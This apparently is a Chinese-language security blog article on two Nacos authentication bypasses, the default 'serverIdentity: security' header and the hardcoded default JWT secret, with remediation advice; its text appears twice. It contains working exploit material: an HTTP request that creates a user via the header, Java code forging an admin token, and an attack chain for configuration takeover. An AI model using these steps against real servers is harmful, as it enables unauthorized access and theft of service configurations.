1. Nacos权限认证绕过漏洞背景Nacos作为阿里巴巴开源的动态服务发现和配置管理平台在微服务架构中扮演着重要角色。但在实际应用中安全配置不当可能导致严重漏洞。我曾遇到过某企业因Nacos默认配置暴露在公网导致内部所有微服务配置被窃取的案例。这个漏洞的核心在于Nacos对两种特殊权限校验机制的处理缺陷serverIdentity头部校验用于服务端间通信的身份验证JWT默认密钥用于生成和验证访问令牌当管理员开启认证但未修改默认配置时攻击者可以利用这两种机制绕过权限校验。这就像你家装了防盗门却把钥匙藏在门垫下——防御形同虚设。2. serverIdentity头部绕过机制剖析2.1 漏洞原理深度解析在Nacos的AuthFilter类中存在这样一段关键代码逻辑String serverIdentity request.getHeader(identityKey); if (StringUtils.isNotBlank(serverIdentity) serverIdentity.equals(identityValue)) { return true; // 直接通过验证 }这段代码本意是让Nacos集群节点间通过预设的header值互相认证。但问题在于默认的identityKey为serverIdentity默认的identityValue为security这些默认值硬编码在配置中且未强制修改2.2 实战利用过程通过Burp Suite抓包添加如下头部即可绕过认证POST /nacos/v1/auth/users HTTP/1.1 Host: target:8848 serverIdentity: security Content-Type: application/x-www-form-urlencoded Content-Length: 25 usernametestpasswordtest我曾用这种方式在授权测试中三分钟内就获取了某金融系统的全部服务配置。攻击者可以创建管理员账号导出所有配置修改服务路由指向恶意节点2.3 底层设计缺陷问题的本质在于信任边界模糊未区分内部通信和外部请求默认配置不安全像security这样的弱值不应作为默认值缺乏配置强制变更首次启动时应要求修改关键配置3. JWT默认密钥绕过分析3.1 JWT机制在Nacos中的实现Nacos使用JWT作为认证令牌关键缺陷在于JwtTokenManager类public String createToken(String userName) { // 硬编码的默认密钥 String secretKey SecretKey012345678901234567890123456789...; // ...生成token逻辑 }这个64字节的默认密钥被直接写在代码中导致攻击者可以伪造任意用户的tokentoken有效期长达5小时18000秒3.2 漏洞利用四步走获取默认密钥 在application.properties中找到nacos.core.auth.plugin.nacos.token.secret.keySecretKey0123456789...生成恶意Token 使用如下Java代码生成管理员tokenString token Jwts.builder() .setSubject(nacos) // 默认管理员账号 .signWith(Keys.hmacShaKeyFor(secretKey.getBytes())) .compact();构造恶意请求GET /nacos/v1/auth/users?accessToken[恶意token] HTTP/1.1 Host: target:8848提权操作用户管理配置导出服务注册/注销3.3 实际渗透测试案例在一次红队行动中我们通过以下步骤完成攻击链扫描发现Nacos控制台下载公开的JWT生成工具用默认密钥生成token通过API获取所有数据库配置横向渗透到核心业务系统整个过程不超过10分钟凸显了默认配置的危险性。4. 漏洞组合利用技巧4.1 双重绕过场景当同时存在以下配置时nacos.core.auth.enabledtrue nacos.core.auth.server.identity.keyserverIdentity nacos.core.auth.server.identity.valuesecurity nacos.core.auth.plugin.nacos.token.secret.keySecretKey0123456789...攻击者可以先用serverIdentity头部绕过获取基础信息再用JWT token进行持久化访问最后通过配置修改彻底控制系统4.2 自动化利用脚本编写Python自动化检测脚本import requests def check_vulnerability(target): # 检测serverIdentity绕过 headers {serverIdentity: security} resp requests.get(f{target}/nacos/v1/auth/users, headersheaders) if resp.status_code 200: print([!] serverIdentity漏洞存在) # 检测JWT绕过 fake_token generate_fake_token() # 使用默认密钥生成 params {accessToken: fake_token} resp requests.get(f{target}/nacos/v1/auth/users, paramsparams) if resp.status_code 200: print([!] JWT默认密钥漏洞存在)5. 加固方案与最佳实践5.1 立即修复措施升级版本必须升级到Nacos 2.2.0.1或更高版本新版已移除默认密钥和默认身份值关键配置修改# 自定义身份验证 nacos.core.auth.server.identity.key自定义键 nacos.core.auth.server.identity.value强随机值(建议32位以上) # 自定义JWT密钥 nacos.core.auth.plugin.nacos.token.secret.key强随机密钥(建议64字节)网络隔离Nacos控制台不应暴露在公网配置VPC或白名单访问控制5.2 长期安全策略配置审计清单检查项安全要求检测方法认证开关必须开启检查application.propertiesJWT密钥必须修改检查是否使用默认值身份头必须自定义检查serverIdentity配置监控建议监控异常用户创建行为审计配置导出操作设置API调用频率限制架构设计改进启用双向TLS认证集成企业SSO系统实现配置变更的二次确认6. 漏洞深度防御思考从开发角度看这类漏洞反映出的根本问题是默认安全原则缺失首次运行时应强制修改安全配置提供安全配置向导防御深度不足缺乏请求来源验证没有关键操作的多因素认证安全可见性差未记录安全配置变更缺少敏感操作审计日志在最近一次架构评审中我们要求所有使用Nacos的团队将认证配置纳入CI/CD流水线检查定期轮换JWT密钥实现配置访问的RBAC控制安全不是一次性的工作而是持续的过程。每次看到这类漏洞都提醒我们默认不安全验证要彻底监控无死角。
Nacos serverIdentity与JWT默认密钥权限认证绕过深度剖析
1. Nacos权限认证绕过漏洞背景Nacos作为阿里巴巴开源的动态服务发现和配置管理平台在微服务架构中扮演着重要角色。但在实际应用中安全配置不当可能导致严重漏洞。我曾遇到过某企业因Nacos默认配置暴露在公网导致内部所有微服务配置被窃取的案例。这个漏洞的核心在于Nacos对两种特殊权限校验机制的处理缺陷serverIdentity头部校验用于服务端间通信的身份验证JWT默认密钥用于生成和验证访问令牌当管理员开启认证但未修改默认配置时攻击者可以利用这两种机制绕过权限校验。这就像你家装了防盗门却把钥匙藏在门垫下——防御形同虚设。2. serverIdentity头部绕过机制剖析2.1 漏洞原理深度解析在Nacos的AuthFilter类中存在这样一段关键代码逻辑String serverIdentity request.getHeader(identityKey); if (StringUtils.isNotBlank(serverIdentity) serverIdentity.equals(identityValue)) { return true; // 直接通过验证 }这段代码本意是让Nacos集群节点间通过预设的header值互相认证。但问题在于默认的identityKey为serverIdentity默认的identityValue为security这些默认值硬编码在配置中且未强制修改2.2 实战利用过程通过Burp Suite抓包添加如下头部即可绕过认证POST /nacos/v1/auth/users HTTP/1.1 Host: target:8848 serverIdentity: security Content-Type: application/x-www-form-urlencoded Content-Length: 25 usernametestpasswordtest我曾用这种方式在授权测试中三分钟内就获取了某金融系统的全部服务配置。攻击者可以创建管理员账号导出所有配置修改服务路由指向恶意节点2.3 底层设计缺陷问题的本质在于信任边界模糊未区分内部通信和外部请求默认配置不安全像security这样的弱值不应作为默认值缺乏配置强制变更首次启动时应要求修改关键配置3. JWT默认密钥绕过分析3.1 JWT机制在Nacos中的实现Nacos使用JWT作为认证令牌关键缺陷在于JwtTokenManager类public String createToken(String userName) { // 硬编码的默认密钥 String secretKey SecretKey012345678901234567890123456789...; // ...生成token逻辑 }这个64字节的默认密钥被直接写在代码中导致攻击者可以伪造任意用户的tokentoken有效期长达5小时18000秒3.2 漏洞利用四步走获取默认密钥 在application.properties中找到nacos.core.auth.plugin.nacos.token.secret.keySecretKey0123456789...生成恶意Token 使用如下Java代码生成管理员tokenString token Jwts.builder() .setSubject(nacos) // 默认管理员账号 .signWith(Keys.hmacShaKeyFor(secretKey.getBytes())) .compact();构造恶意请求GET /nacos/v1/auth/users?accessToken[恶意token] HTTP/1.1 Host: target:8848提权操作用户管理配置导出服务注册/注销3.3 实际渗透测试案例在一次红队行动中我们通过以下步骤完成攻击链扫描发现Nacos控制台下载公开的JWT生成工具用默认密钥生成token通过API获取所有数据库配置横向渗透到核心业务系统整个过程不超过10分钟凸显了默认配置的危险性。4. 漏洞组合利用技巧4.1 双重绕过场景当同时存在以下配置时nacos.core.auth.enabledtrue nacos.core.auth.server.identity.keyserverIdentity nacos.core.auth.server.identity.valuesecurity nacos.core.auth.plugin.nacos.token.secret.keySecretKey0123456789...攻击者可以先用serverIdentity头部绕过获取基础信息再用JWT token进行持久化访问最后通过配置修改彻底控制系统4.2 自动化利用脚本编写Python自动化检测脚本import requests def check_vulnerability(target): # 检测serverIdentity绕过 headers {serverIdentity: security} resp requests.get(f{target}/nacos/v1/auth/users, headersheaders) if resp.status_code 200: print([!] serverIdentity漏洞存在) # 检测JWT绕过 fake_token generate_fake_token() # 使用默认密钥生成 params {accessToken: fake_token} resp requests.get(f{target}/nacos/v1/auth/users, paramsparams) if resp.status_code 200: print([!] JWT默认密钥漏洞存在)5. 加固方案与最佳实践5.1 立即修复措施升级版本必须升级到Nacos 2.2.0.1或更高版本新版已移除默认密钥和默认身份值关键配置修改# 自定义身份验证 nacos.core.auth.server.identity.key自定义键 nacos.core.auth.server.identity.value强随机值(建议32位以上) # 自定义JWT密钥 nacos.core.auth.plugin.nacos.token.secret.key强随机密钥(建议64字节)网络隔离Nacos控制台不应暴露在公网配置VPC或白名单访问控制5.2 长期安全策略配置审计清单检查项安全要求检测方法认证开关必须开启检查application.propertiesJWT密钥必须修改检查是否使用默认值身份头必须自定义检查serverIdentity配置监控建议监控异常用户创建行为审计配置导出操作设置API调用频率限制架构设计改进启用双向TLS认证集成企业SSO系统实现配置变更的二次确认6. 漏洞深度防御思考从开发角度看这类漏洞反映出的根本问题是默认安全原则缺失首次运行时应强制修改安全配置提供安全配置向导防御深度不足缺乏请求来源验证没有关键操作的多因素认证安全可见性差未记录安全配置变更缺少敏感操作审计日志在最近一次架构评审中我们要求所有使用Nacos的团队将认证配置纳入CI/CD流水线检查定期轮换JWT密钥实现配置访问的RBAC控制安全不是一次性的工作而是持续的过程。每次看到这类漏洞都提醒我们默认不安全验证要彻底监控无死角。
